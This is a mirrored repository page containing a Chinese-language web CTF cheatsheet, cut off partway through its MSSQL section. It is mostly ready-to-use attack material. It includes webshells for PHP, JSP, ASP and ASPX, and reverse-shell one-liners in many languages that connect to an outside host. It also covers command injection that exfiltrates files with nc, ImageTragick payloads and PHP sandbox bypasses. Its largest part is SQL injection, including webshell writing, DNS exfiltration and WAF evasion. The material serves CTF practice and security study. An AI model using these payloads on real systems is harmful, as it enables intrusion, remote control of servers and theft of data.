# Web-CTF-Cheatsheet **Repository Path**: ld80/Web-CTF-Cheatsheet ## Basic Information - **Project Name**: Web-CTF-Cheatsheet - **Description**: No description available - **Primary Language**: Unknown - **License**: Not specified - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2020-06-04 - **Last Updated**: 2020-12-19 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README WEB CTF CheatSheet === Table of Contents ================= * [Webshell](#php-webshell) * [Reverse Shell](#reverse-shell) * [PHP Tag](#php-tag) * [PHP Weak Type](#php-weak-type) * [PHP Feature](#php-其他特性) * [Command Injection](#command-injection) * [Bypass Space](#空白繞過) * [Bypass Keyword](#keyword繞過) * [ImageMagick](#imagemagick-imagetragick) * [Ruby Command Executing](#ruby-command-executing) * [Python Command Executing](#python-command-executing) * [SQL Injection](#sql-injection) * [MySQL](#mysql) * [MSSQL](#mssql) * [Oracle](#oracle) * [SQLite](#sqlite) * [Postgresql](#postgresql) * [MS Access](#ms-access) * [LFI](#lfi) * [Upload](#上傳漏洞) * [Serialization](#反序列化) * [PHP Serialize](#php---serialize--unserialize) * [Python Pickle](#python-pickle) * [Ruby Marshal](#rubyrails-marshal) * [Ruby YAML](#rubyrails-yaml) * [Java Serialization](#java-deserialization) * [.NET Serialization](#net-derserialization) * [SSTI](#ssti) * [Flask/Jinja2](#flaskjinja2) * [AngularJS](#angularjs) * [Vue.js](#vuejs) * [Python](#python) * [Tool](#tool) * [SSRF](#ssrf) * [Bypass](#bypass-127001) * [Local Expolit](#本地利用) * [Remote Expolit](#遠程利用) * [CRLF Injection](#crlf-injection) * [Finger Print](#fingerprint) * [XXE](#xxe) * [Out of Band XXE](#out-of-band-oob-xxe) * [Error-based XXE](#error-based-xxe) * [Frontend](#frontend) * [XSS](#xss) * [RPO](#rpo) * [CSS Injection](#css-injection) * [XS-Leaks](#xs-leaks) * [Crypto](#密碼學) * [PRNG](#prng) * [ECB mode](#ecb-mode) * [CBC mode](#cbc-mode) * [Length Extension Attack](#length-extension-attack) * [Others](#其它-1) * [Tools and Website](#tool--online-website) * [Information Gathering](#information-gathering) * [Social Engineering](#social-engineering) * [Crack](#crack) # Webshell ## PHP Webshell ```php // a=system&b=ls // a=assert&b=system("ls") // .php?cmd=system("ls") // .php?f=system&c=id 上傳 // 把暫存檔include進來 // From: http://www.zeroplace.cn/article.asp?id=906 // not backdoor (assert) // .php?a=system("ls") echo "{${phpinfo()}}"; echo "${system(ls)}"; echo Y2F0IGZsYWc= | base64 -d | sh // Y2F0IGZsYWc= => cat flag echo -e ";\r shell.php // cat shell.php // echo ^ > a.php // Windows echo導出一句話 '; while(md5(file_get_contents($file)) !== md5($code)) { if(!file_exists($file)) { file_put_contents($file, $code); } usleep(50); } ?> ``` ### 無文件webshell 解法：restart ```php ``` ## JSP Webshell - 無回顯: ``` <%Runtime.getRuntime().exec(request.getParameter("i"));%> ``` - 有回顯: ``` <% if("kaibro".equals(request.getParameter("pwd"))) { java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("
"); } %> ``` ## ASP Webshell ``` <%eval request("kaibro")%> <%execute request("kaibro")%> <%ExecuteGlobal request("kaibro")%> <%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%> ``` ## ASPX Webshell - 一般: ``` <%@ Page Language="Jscript"%><%eval(Request.Item["kaibro"],"unsafe");%> ``` - 上傳: ``` <%if (Request.Files.Count!=0){Request.Files[0].SaveAs(Server.MapPath(Request["f"]));}%> ``` # Reverse Shell - 本機Listen Port - `ncat -vl 5566` - Perl - `perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'` - Bash - `bash -i >& /dev/tcp/kaibro.tw/5566 0>&1` - `bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'` - `0<&196;exec 196<>/dev/tcp/kaibro.tw/5566; sh <&196 >&196 2>&196` - PHP - `php -r '$sock=fsockopen("kaibro.tw",5566);exec("/bin/sh -i <&3 >&3 2>&3");'` - NC - `nc -e /bin/sh kaibro.tw 5566` - Telnet - `mknod backpipe p && telnet kaibro.tw 5566 0backpipe` - Python - `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kaibro.tw",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'` - Ruby - `ruby -rsocket -e 'exit if fork;c=TCPSocket.new("kaibro.tw","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'` - Node.js - `var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(5566, "kaibro.tw", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});` - `require('child_process').exec("bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'");` - Java - `Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/kaibro.tw/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();` - Powershell - `powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c kaibro.tw -p 5566 -e cmd` # PHP Tag - `` - short_open_tag 決定是否可使用短標記 - 或是編譯php時 --enable-short-tags - ``、`<%=` - 自`PHP 7.0.0`起，被移除 - 須將`asp_tags`設成On - `` # PHP Weak Type - `var_dump('0xABCdef' == ' 0xABCdef');` * true (Output for hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.2.0rc4: false) - `var_dump('0010e2' == '1e3’);` - true - `strcmp([],[])` - 0 - `sha1([])` - NULL - `'123' == 123` - `'abc' == 0` - `'123a' == 123` - `'0x01' == 1` - PHP 7.0後，16進位字串不再當成數字 - e.g `var_dump('0x01' == 1)` => false - `'' == 0 == false == NULL` - `md5([1,2,3]) == md5([4,5,6]) == NULL` - 可用在登入繞過 (用戶不存在，則password為NULL) - `var_dump(md5(240610708));` - 0e462097431906509019562988736854 - `var_dump(sha1(10932435112));` - 0e07766915004133176347055865026311692244 - `$a="123"; $b="456"` - `$a + $b == "579";` - `$a . $b == "123456"` - `$a = 0; $b = 'x';` - `$a == false` => true - `$a == $b` => true - `$b == true` => true - `$a = 'a'` - `++$a` => `'b'` - `$a+1` => `1` # PHP 其他特性 ## Overflow - 32位元 - `intval('1000000000000')` => `2147483647` - 64位元 - `intval('100000000000000000000')` => `9223372036854775807` ## 浮點數精度 - `php -r "var_dump(1.000000000000001 == 1);"` - false - `php -r "var_dump(1.0000000000000001 == 1);"` - true - `$a = 0.1 * 0.1; var_dump($a == 0.01);` - false ## ereg會被NULL截斷 - `var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));` - `1` - `ereg`和`eregi`在PHP 7.0.0.已經被移除 ## intval - 四捨五入 - `var_dump(intval('5278.8787'));` - `5278` - `intval(012)` => 10 - `intval("012")` => 12 ## extract變數覆蓋 - `extract($_GET);` - `.php?_SESSION[name]=admin` - `echo $_SESSION['name']` => 'admin' ## trim - 會把字串前後的空白(或其他字元)去掉 - 未指定第二參數，預設會去掉以下字元 - `" "` (0x20) - `"\t"` (0x09) - `"\n"` (0x0A) - `"\x0B"` (0x0B) - `"\r"` (0x0D) - `"\0"` (0x00) - 可以發現預設不包含`"\f"` (0x0C) - 比較：is_numeric()允許`\f`在開頭 - 如果參數是unset或空的變數，回傳值是空字串 ## is_numeric - `is_numeric(" \t\r\n 123")` => `true` - `is_numeric(' 87')` => `true` - `is_numeric('87 ')` => `false` - `is_numeric(' 87 ')` => `false` - `is_numeric('0xdeadbeef')` - PHP >= 7.0.0 => `false` - PHP < 7.0.0 => `true` - 可以拿來繞過注入 - 以下亦為合法(返回True)字串: - `' -.0'` - `'0.'` - `' +2.1e5'` - `' -1.5E+25'` - `'1.e5'` ## in_array - `in_array('5 or 1=1', array(1, 2, 3, 4, 5))` - true - `in_array('kaibro', array(0, 1, 2))` - true - `in_array(array(), array('kai'=>false))` - true - `in_array(array(), array('kai'=>null))` - true - `in_array(array(), array('kai'=>0))` - false - `in_array(array(), array('kai'=>'bro'))` - false - `in_array('kai', array('kai'=>true))` - true - `in_array('kai', array('kai'=>'bro'))` - false - `in_array('kai', array('kai'=>0))` - true - `in_array('kai', array('kai'=>1))` - false ## array_search - `mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])` - 在`haystack`陣列中，搜尋`needle`的值，成功則返回index，失敗返回False - `$strict`為false時，採用不嚴格比較 - 預設是False - Example - `$arr=array(1,2,0); var_dump(array_search('kai', $arr))` - `int(2)` - `$arr=array(1,2,0); var_dump(array_search('1', $arr))` - `int(0)` ## parse_str - `parse_str(string, array)` - 會把查詢字串解析到變數中 - 如果未設置第二個參數，會解析到同名變數中 - PHP7.2中不設置第二個參數會產生`E_DEPRECATED`警告 - `parse_str('gg[kaibro]=5566');` ``` array(1) { ["kaibro"]=> string(4) "5566" } ``` - PHP變數有空格和.，會被轉成底線 ``` parse_str("na.me=kaibro&pass wd=ggininder",$test); var_dump($test); array(2) { ["na_me"]=> string(6) "kaibro" ["pass_wd"]=> string(9) "ggininder" } ``` ## parse_url - 在處理傳入的URL會有問題 - `parse_url('/a.php?id=1')` ``` array(2) { ["host"]=> string(5) "a.php" ["query"]=> string(4) "id=1" } ``` - `parse_url('//a/b')` - host: `a` - `parse_url('..//a/b/c:80')` - host: `..` - port: `80` - path: `//a/b/c:80` - `parse_url('///a.php?id=1')` - false - `parse_url('/a.php?id=1:80')` - PHP < 7.0.0 - `false` - PHP >= 7.0.0 ``` array(2) { ["path"]=> string(6) "/a.php" ["query"]=> string(7) "id=1:80" } ``` - `parse_url('http://kaibro.tw:87878')` - 5.3.X版本以下 ```php array(3) { ["scheme"]=> string(4) "http" ["host"]=> string(9) "kaibro.tw" ["port"]=> int(22342) } ``` - 其他： false ## preg_replace - `mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )` - 搜尋`$subject`中匹配的`$pattern`，並用`$replacement`替換 - 第一個參數用`/e`修飾符，`$replacement`會被當成PHP code執行 - 必須有匹配到才會執行 - PHP 5.5.0起，會產生`E_DEPRECATED`錯誤 - PHP 7.0.0不再支援，用`preg_replace_callback()`代替 example: ```php ?]', $test)) die('bye'); file_put_contents('output', $test); ``` - 可以直接`?txt[]=`寫入 ## spl_autoload_register - `spl_autoload_register()`可以自動載入Class - 不指定參數，會自動載入`.inc`和`.php` - Example: - 如果目錄下有kaibro.inc，且內容為class Kaibro{...} - 則`spl_autoload_register()`會把這個Class載入進來 ## 路徑正規化 - `a.php/.` - `file_put_contents("a.php/.", "");` - 可成功寫入 - 經測試Windows可以覆寫、Linux無法 - 可以繞過一些正規表達式判斷 - `file_get_contents("a.php/.");` - 經測試Windows下可成功讀、Linux無法 - 還有很多其他function也適用 - `"` => `.` - `a"php` - `>` => `?` - `a.p>p` - `a.>>>` - `<` => `*` - `a.<` ## URL query decode - `$_GET`會對傳入的參數做URLdecode再返回 - `$_SERVER['REQUEST_URI']`和`$_SERVER['QUERY_STRING']`則是直接返回 Example: Request: `http://kaibro.tw/test.php?url=%67%67` * $_GET: `[url] => gg` * $_SERVER['REQUEST_URI']: `/test.php?url=%67%67` * $_SERVER['QUERY_STRING']: `url=%67%67` ## OPcache - 透過將PHP腳本編譯成Byte code的方式做Cache來提升性能 - 相關設定在php.ini中 - `opcache.enable` 是否啟用 - `opcache.file_cache` 設定cache目錄 - 例如:`opcache.file_cache="/tmp/opcache"` - `/var/www/index.php`的暫存會放在`/tmp/opcache/[system_id]/var/www/index.php.bin` - `opcache.file_cache_only` 設定cache文件優先級 - `opcache.validate_timestamps` 是否啟用timestamp驗證 - `system_id`是透過Zend和PHP版本號計算出來的，可以確保相容性 - 所以在某些條件下可透過上傳覆蓋暫存文件來寫webshell - system_id要和目標機器一樣 - timestamp要一致 - https://github.com/GoSecure/php7-opcache-override - Disassembler可以把Byte code轉成Pseudo code - Example - [0CTF 2018 Qual - EzDoor](https://github.com/w181496/CTF/tree/master/0ctf2018_qual/EzDoor) ## PCRE回溯次數限制繞過 - PHP的PCRE庫使用NFA作為正規表達式引擎 - NFA在匹配不上時，會回溯嘗試其他狀態 - PHP為防止DOS，設定了PCRE回溯次數上限 - `pcre.backtrack_limit` - 預設為`1000000` - 回溯次數超過上限時，`preg_match()`會返回`false` - Example - Code-Breaking Puzzles - pcrewaf ## open_basedir繞過 - glob 列目錄 ```php $file_list = array(); $it = new DirectoryIterator("glob:///*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo "{$f}
"; } ``` - [phuck3](https://twitter.com/Blaklis_/status/1111586655134203904) ```php chdir('img'); ini_set('open_basedir','..'); chdir('..');chdir('..'); chdir('..');chdir('..'); ini_set('open_basedir','/'); echo(file_get_contents('flag')); ``` - symlinks ```php mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE); symlink('/var/www/html/a/b/c/d/e/f/g','foo'); ini_set('open_basedir','/var/www/html:bar/'); symlink('foo/../../../../../../','bar'); unlink('foo'); symlink('/var/www/html/','foo'); echo file_get_contents('bar/etc/passwd'); ``` - Fastcgi - [link](https://github.com/w181496/CTF/tree/master/0ctf2019_qual/WallbreakerEasy) - ... ## disable_functions繞過 - bash shellshock - mail() - `sendmail` - putenv寫LD_PRELOAD - trick: [LD_PRELOAD without sendmail/getuid()](https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD) - imap_open() ```php it can permits the user to arbitrarily extend the image formats supported by ImageMagick by adding loadable coder modules from an preferred location rather than copying them into the ImageMagick installation directory - [Document](https://www.imagemagick.org/script/resources.php#Environment%20Variables) - [Link](https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/TCTF2019/Wallbreaker_Easy) - MAGICK_CONFIGURE_PATH - `delegates.xml`定義處理各種文件的規則 - 可以用putenv寫掉設定檔路徑 - [Link](https://xz.aliyun.com/t/4688#toc-14) ```xml ``` - 蓋`PATH` + ghostscript: - 造一個執行檔gs ```cpp #include #include int main() { unsetenv("PATH"); const char* cmd = getenv("CMD"); system(cmd); return 0; } ``` ```php putenv('PATH=/tmp/mydir'); putenv('CMD=/readflag > /tmp/mydir/output'); chmod('/tmp/mydir/gs','0777'); $img = new Imagick('/tmp/mydir/1.ept'); ``` - dl() - 載入module - `dl("rce.so")` - FFI - PHP 7.4 feature - preloading + ffi - e.g. [RCTF 2019 - nextphp](https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019/nextphp) - [Extension](https://github.com/w181496/FuckFastcgi) - [l3mon/Bypass_Disable_functions_Shell](https://github.com/l3m0n/Bypass_Disable_functions_Shell) - [JSON UAF Bypass](https://github.com/mm0r1/exploits/tree/master/php-json-bypass) - 7.1 - all versions to date - 7.2 < 7.2.19 (released: 30 May 2019) - 7.3 < 7.3.6 (released: 30 May 2019) - [GC Bypass](https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass) - 7.0 - all versions to date - 7.1 - all versions to date - 7.2 - all versions to date - 7.3 - all versions to date - [Backtrace Bypass](https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass) - 7.0 - all versions to date - 7.1 - all versions to date - 7.2 - all versions to date - 7.3 - all versions to date - 7.4 - all versions to date - 族繁不及備載...... ## 其他 - 大小寫不敏感 - ` `false` - `$a = true and false;` - `$a` => `true` - chr() - 大於256會mod 256 - 小於0會加上256的倍數，直到>0 - Example: - `chr(259) === chr(3)` - `chr(-87) === chr(169)` - 遞增 - `$a="9D9"; var_dump(++$a);` - `string(3) "9E0"` - `$a="9E0"; var_dump(++$a);` - `float(10)` - 算數運算繞Filter - `%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f` - `system` - 可用在限制不能出現英數字時 or 過濾某些特殊符號 - ```$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');``` - `assert` - 其他 - `~`, `++`等運算，也都可用類似概念構造 - 花括號 - 陣列、字串元素存取可用花括號 - `$array{index}`同`$array[index]` - filter_var - `filter_var('http://evil.com;google.com', FILTER_VALIDATE_URL)` - False - `filter_var('0://evil.com;google.com', FILTER_VALIDATE_URL)` - True - ```filter_var('"aaaaa{}[]()\'|!#$%*&^-_=+`,."@b.c',FILTER_VALIDATE_EMAIL) ``` - `"aaaaa{}[]()'|!#$%*&^-_=+`,."@b.c` (OK) - `filter_var('aaa."bbb"@b.c',FILTER_VALIDATE_EMAIL)` - `aaa."bbb"@b.c` (OK) - `filter_var('aaa"bbb"@b.c',FILTER_VALIDATE_EMAIL)` - False - json_decode - 不直接吃換行字元和\t字元 - 但可以吃'\n'和'\t' - 會轉成換行字元和Tab - 也吃`\uxxxx`形式 - `json_decode('{"a":"\u0041"}')` - === bug - `var_dump([0 => 0] === [0x100000000 => 0])` - 某些版本會是True - ASIS 2018 Qual Nice Code - https://3v4l.org/sUEMG - openssl_verify - 預測採用SHA1來做簽名，可能有SHA1 Collision問題 - e.g. [DEFCON CTF 2018 Qual - EasyPisy](https://github.com/w181496/CTF/tree/master/defcon2018-qual/EasyPisy) - Namespace - PHP的預設Global space是`\` - e.g. `\system('ls');` - basename (php bug 62119) - `basename("index.php/config.php/喵")` - `config.php` - Example: [zer0pts CTF 2020 - Can you guess it?](https://github.com/w181496/CTF/tree/master/zer0pts2020/can_you_guess_it) - strip_tags (php bug 78814) - php version <= 7.4.0 - `strip_tags("b", "")` - `b` - Example: [zer0pts CTF 2020 - MusicBlog](https://github.com/w181496/CTF/tree/master/zer0pts2020/MusicBlog) # Command Injection ``` | cat flag && cat flag ; cat flag %0a cat flag "; cat flag `cat flag` cat $(ls) "; cat $(ls) `cat flag | nc kaibro.tw 5278` . flag PS1=$(cat flag) `echo${IFS}${PATH}|cut${IFS}-c1-1` => / ``` ## ? and * - `?` match one character - `cat fl?g` - `/???/??t /???/p??s??` - `*` match 多個 - `cat f*` - `cat f?a*` ## 空白繞過 - `${IFS}` - `cat${IFS}flag` - `ls$IFS-alh` - `cat$IFS$2flag` - `cat "/usr/local/….blablabla”` - `${PATH:0:1} => '/'` - `${PATH:1:1} => 'u'` - `${PATH:0:4} => '/usr'` - `${PS2}` - `>` - `${PS4}` - `+` - Empty String - `cat fl""ag` - `cat fl''ag` - `cat "fl""ag"` - 反斜線 - `c\at fl\ag` ## ImageMagick (ImageTragick) - CVE-2016-3714 - `mvg`格式包含https處理(使用curl下載)，可以閉合雙引號 - payload: ```mvg push graphic-context viewbox 0 0 640 480 fill 'url(https://kaibro.tw";ls "-la)' pop graphic-context ``` ## Ruby Command Executing - `open("| ls")` - `IO.popen("ls").read` - `Kernel.exec("ls")` - ``` `ls` ``` - `system("ls")` - `eval("ruby code")` - Non-Alphanumeric example: [HITCON CTF 2015 - Hard to say](https://github.com/w181496/CTF/tree/master/hitcon2015/hard-to-say) - `$$/$$` => 1 - `'' << 97 << 98 << 99` => "abc" - `$:`即`$LOAD_PATH` - `exec("ls")` - `%x{ls}` - Net::FTP - CVE-2017-17405 - use `Kernel#open` ## Python Command Executing - `os.system("ls")` - `os.popen("ls").read()` - `os.execl("/bin/ls","")` - `os.execlp("ls","")` - `os.execv("/bin/ls",[''])` - `os.execvp("/bin/ls",[""])` - `subprocess.call("ls")` - `subprocess.call("ls|cat",shell=False)` => Fail - `subprocess.call("ls|cat",shell=True)` => Correct - `eval("__import__('os').system('ls')")` - `exec("__import__('os').system('ls')")` - `commands.getoutput('ls')` ## Read File - diff /etc/passwd /flag - paste /flag - bzmore /flag - bzless /flag - static-sh /flag - ... # SQL Injection ## MySQL - 子字串： - `substr("abc",1,1) => 'a'` - `mid("abc", 1, 1) => 'a'` - Ascii function - `ascii('A') => 65 ` - Char function - `char(65) => 'a'` - Concatenation - `CONCAT('a', 'b') => 'ab'` - 如果任何一欄為NULL，則返回NULL - `CONCAT_WS(分隔符, 字串1, 字串2...)` - `CONCAT_WS('@', 'gg', 'inin')` => `gg@inin` - Cast function - `CAST('125e342.83' AS signed) => 125` - `CONVERT('23',SIGNED) => 23` - Delay function - `sleep(5)` - `BENCHMARK(count, expr)` - 空白字元 - `09 0A 0B 0C 0D A0 20` - File-read function - `LOAD_FILE('/etc/passwd')` - File-write - `INTO DUMPFILE` - 適用binary (寫入同一行) - `INTO OUTFILE` - 適用一般文本 (有換行) - 寫webshell - 需知道可寫路徑 - `UNION SELECT "",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"` - 權限 - `SELECT file_priv FROM mysql.user` - secure-file-priv - 限制MySQL導入導出 - load_file, into outfile等 - 運行時無法更改 - MySQL 5.5.53前，該變數預設為空(可以導入導出) - e.g. `secure_file_priv=E:\` - 限制導入導出只能在E:\下 - e.g. `secure_file_priv=null` - 限制不允許導入導出 - secure-file-priv限制下用general_log拿shell ``` SET global general_log='on'; SET global general_log_file='C:/phpStudy/WWW/cmd.php'; SELECT ''; ``` - IF語句 - IF(condition,true-part,false-part) - `SELECT IF (1=1,'true','false')` - Hex - `SELECT X'5061756c'; => paul` - `SELECT 0x5061756c; => paul` - `SELECT 0x5061756c+0 => 1348564332` - `SELECT load_file(0x2F6574632F706173737764);` - /etc/passwd - 可繞過一些WAF - e.g. 用在不能使用單引號時(`'` => `\'`) - CHAR()也可以達到類似效果 - `'admin'` => `CHAR(97, 100, 109, 105, 110)` - 註解： - `#` - `--` - `/**/` - 一個`*/`可以閉合前面多個`/*` - `/*! 50001 select * from test */` - 可探測版本 - e.g. `SELECT /*!32302 1/0, */ 1 FROM tablename` - ` - MySQL <= 5.5 - `;` - PDO支援多語句 - information_schema - mysql >= 5.0 - Stacking Query - 預設PHP+MySQL不支援Stacking Query - 但PDO可以Stacking Query - 其它： - @@version - 同version() - user() - current_user - current_user() - current user - system_user() - database system user - database() - schema() - current database - @@basedir - MySQL安裝路徑 - @@datadir - Location of db file - @@plugin_dir - @@hostname - @@version_compile_os - Operating System - @@version_compile_machine - @@innodb_version - MD5() - SHA1() - COMPRESS() / UNCOMPRESS() - group_concat() - 合併多條結果 - e.g. `select group_concat(username) from users;` 一次返回所有使用者名 - greatest() - `greatest(a, b)`返回a, b中最大的 - `greatest(1, 2)=2` - 1 - `greatest(1, 2)=1` - 0 - between a and b - 介於a到b之間 - `greatest(1, 2) between 1 and 3` - 1 - regexp - `SELECT 'abc' regexp '.*'` - 1 - Collation - `*_ci` case insensitive collation 不區分大小寫 - `*_cs` case sensitive collation 區分大小寫 - `*_bin` binary case sensitive collation 區分大小寫 - Union Based - 判斷column數 - `union select 1,2,3...N` - `order by N` 找最後一個成功的N - `AND 1=2 UNION SELECT 1, 2, password FROM admin--+` - `LIMIT N, M` 跳過前N筆，抓M筆 - 爆資料庫名 - `union select 1,2,schema_name from information_schema.schemata limit 1,1` - 爆表名 - `union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1` - `union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1` - 爆Column名 - `union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1` - MySQL User - `SELECT CONCAT(user, ":" ,password) FROM mysql.user;` - Error Based - 長度限制 - 錯誤訊息有長度限制 - `#define ERRMSGSIZE (512)` - Overflow - MySQL > 5.5.5 overflow才會有錯誤訊息 - `SELECT ~0` => `18446744073709551615` - `SELECT ~0 + 1` => ERROR - `SELECT exp(709)` => `8.218407461554972e307` - `SELECT exp(710)` => ERROR - 若查詢成功，會返回0 - `SELECT exp(~(SELECT * FROM (SELECT user())x));` - `ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'` - `select (select(!x-~0)from(select(select user())x)a);` - `ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'` - MySQL > 5.5.53 不會顯示查詢結果 - xpath - extractvalue (有長度限制，32位) - `select extractvalue(1,concat(0x7e,(select @@version),0x7e));` - `ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'` - updatexml (有長度限制，32位) - `select updatexml(1,concat(0x7e,(select @@version),0x7e),1);` - `ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'` - 主鍵重複 - `select count(*) from test group by concat(version(),floor(rand(0)*2));` - `ERROR 1062 (23000): Duplicate entry '5.7.171' for key ''` - 其它函數 (5.7) - `select ST_LatFromGeoHash(version());` - `select ST_LongFromGeoHash(version());` - `select GTID_SUBSET(version(),1);` - `select GTID_SUBTRACT(version(),1);` - `select ST_PointFromGeoHash(version(),1);` - 爆庫名、表名、字段名 - 當過濾`information_schema`等關鍵字時，可以用下面方法爆庫名 - `select 1,2,3 from users where 1=abc();` - `ERROR 1305 (42000): FUNCTION fl4g.abc does not exist` - 爆表名 - `select 1,2,3 from users where Polygon(id);` - ``select 1,2,3 from users where linestring(id);`` - ```ERROR 1367 (22007): Illegal non geometric '`fl4g`.`users`.`id`' value found during parsing``` - 爆Column - `select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);` - `ERROR 1060 (42S21): Duplicate column name 'id'` - `select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);` - `ERROR 1060 (42S21): Duplicate column name 'username'` - Blind Based (Time/Boolean) - Boolean - 「有」跟「沒有」 - `id=87 and length(user())>0` - `id=87 and length(user())>100` - `id=87 and ascii(mid(user(),1,1))>100` - `id=87 or ((select user()) regexp binary '^[a-z]')` - Time - 用在啥結果都看不到時 - `id=87 and if(length(user())>0, sleep(10), 1)=1` - `id=87 and if(length(user())>100, sleep(10), 1)=1` - `id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1` - Out of Bnad - Windows only - `select load_file(concat("\\\\",schema_name,".dns.kaibro.tw/a")) from information_schema.schemata` - 繞過空白檢查 - `id=-1/**/UNION/**/SELECT/**/1,2,3` - `id=-1%09UNION%0DSELECT%0A1,2,3` - `id=(-1)UNION(SELECT(1),2,3)` - 寬字節注入 - `addslashes()`會讓`'`變`\'` - 在`GBK`編碼中，中文字用兩個Bytes表示 - 其他多字節編碼也可 - 但要低位範圍有包含`0x5c`(`\`) - 第一個Byte要>128才是中文 - `%df'` => `%df\'` => `運'` (成功逃逸) - Order by注入 - 可以透過`asc`、`desc`簡單判斷 - `?sort=1 asc` - `?sort=1 desc` - 後面不能接UNION - 已知字段名 (可以盲注) - `?order=IF(1=1, username, password)` - 利用報錯 - `?order=IF(1=1,1,(select 1 union select 2))` 正確 - `?order=IF(1=2,1,(select 1 union select 2))` 錯誤 - `?order=IF(1=1,1,(select 1 from information_schema.tables))` 正常 - `?order=IF(1=2,1,(select 1 from information_schema.tables))` 錯誤 - Time Based - `?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))` 正常 - `?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))` sleep 2秒 - group by with rollup - `' or 1=1 group by pwd with rollup limit 1 offset 2#` - 將字串轉成純數字 - 字串 -> 16進位 -> 10進位 - `conv(hex(YOUR_DATA), 16, 10)` - 還原：`unhex(conv(DEC_DATA,10,16))` - 需注意不要Overflow - 不使用逗號 - `LIMIT N, M` => `LIMIT M OFFSET N` - `mid(user(), 1, 1)` => `mid(user() from 1 for 1)` - `UNION SELECT 1,2,3` => `UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)` - 快速查找帶關鍵字的表 - `select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%'); ` - innodb - 表引擎為innodb - MySQL > 5.5 - innodb_table_stats、innodb_table_index存放所有庫名表名 - `select table_name from mysql.innodb_table_stats where database_name=資料庫名;` - Example: [Codegate2018 prequal - simpleCMS](https://github.com/w181496/CTF/tree/master/codegate2018-prequal/simpleCMS) - Bypass WAF - `select password` => `SelEcT password` (大小寫) - `select password` => `select/**/password` (繞空白) - `select password` => `s%65lect%20password` (URLencode) - `select password` => `select(password)` (繞空白) - `select password` => `select%0apassword` (繞空白) - %09, %0a, %0b, %0c, %0d, %a0 - `select password from admin` => `select password /*!from*/ admin` (MySQL註解) - `information_schema.schemata` => ``` `information_schema`.schemata ``` (繞關鍵字/空白) - ``` select xxx from`information_schema`.schemata``` - `select pass from user where id='admin'` => `select pass from user where id=0x61646d696e` (繞引號) - `id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))` - `?id=0e2union select 1,2,3` (科學記號) - `?id=1union select 1,2,3`會爛 - `?id=0e1union(select~1,2,3)` (~) - `?id=.1union select 1,2,3` (點) - `WHERE` => `HAVING` (繞關鍵字) - `AND` => `&&` (繞關鍵字) - `OR` => `||` - `=` => `LIKE` - `a = 'b'` => `not a > 'b' and not a < 'b'` - `> 10` => `not between 0 and 10` - `LIMIT 0,1` => `LIMIT 1 OFFSET 0` (繞逗號) - `substr('kaibro',1,1)` => `substr('kaibro' from 1 for 1)` - Multipart/form-data繞過 - http://xdxd.love/2015/12/18/%E9%80%9A%E8%BF%87multipart-form-data%E7%BB%95%E8%BF%87waf/ - 偽造User-Agent - e.g. 有些WAF不封google bot ## MSSQL - 子字串： - `SUBSTRING("abc", 1, 1) => 'a'` - Ascii 